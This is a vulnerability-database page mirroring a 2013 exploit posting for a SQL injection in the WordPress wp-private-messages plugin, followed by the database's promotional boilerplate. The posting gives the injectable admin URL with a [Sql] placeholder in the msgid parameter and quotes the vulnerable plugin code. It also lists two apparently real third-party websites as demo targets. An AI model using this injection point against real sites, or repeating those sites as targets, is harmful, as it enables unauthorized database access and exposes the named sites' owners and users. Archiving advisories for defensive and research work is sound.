Lucene search
K

WordPress WP-Private-Messages SQL Injection

🗓️ 29 Jun 2013 00:00:00Reported by IeDbType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

WordPress wp-private-messages Plugin has a high-risk SQL injection vulnerability.

Code
`The Wordpress wp-private-messages Plugin suffers from a Sql Injection vulnerability.  
  
  
  
#################################  
  
# Iranian Exploit DataBase  
  
# Www.exploit.IrIsT.Ir  
  
#################################  
  
# Exploit Title : Wordpress wp-private-messages Plugin Sql Injection vulnerability  
  
# Author : Iranian Exploit DataBase  
  
# Discovered By : IeDb  
  
# Home : http://exploit.IrIsT.Ir  
  
# Software Link : http://wordpress.org/plugins/wp-private-messages/  
  
# Security Risk : High  
  
# Tested on : Linux  
  
#################################  
  
# Exploit :  
  
# http://www.Site.com/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=[Sql]  
  
# Dem0 :  
  
# http://renewedculture.com/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=[Sql]  
  
# http://www.rockfordravens.org/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=[Sql]  
  
#################################  
  
# Vuln Source C0de :   
  
# Lin 145 :  
  
# $messages = $wpdb->get_results("SELECT id, sender, subject, date, status FROM $wpdb->prefix".private_messages." WHERE rcpid = '".$current_user->ID."' AND tosee = 1 ORDER BY date DESC");  
  
# And Lin 160 :  
  
# echo "<a href=\"?page=".dirname(plugin_basename(__FILE__))."/wpu_private_messages.php&wpu=reply&msgid=".$message->id."\"><img src=\"". get_settings('siteurl') . "/wp-content/plugins/".dirname(plugin_basename(__FILE__))."/icons/reply.png\" alt=\"Reply!\" title=\"".__('Reply!', $wpulang)."\"></a>";  
  
#################################  
  
# Exploit Archive : http://exploit.irist.ir/exploits-148.html  
  
#################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation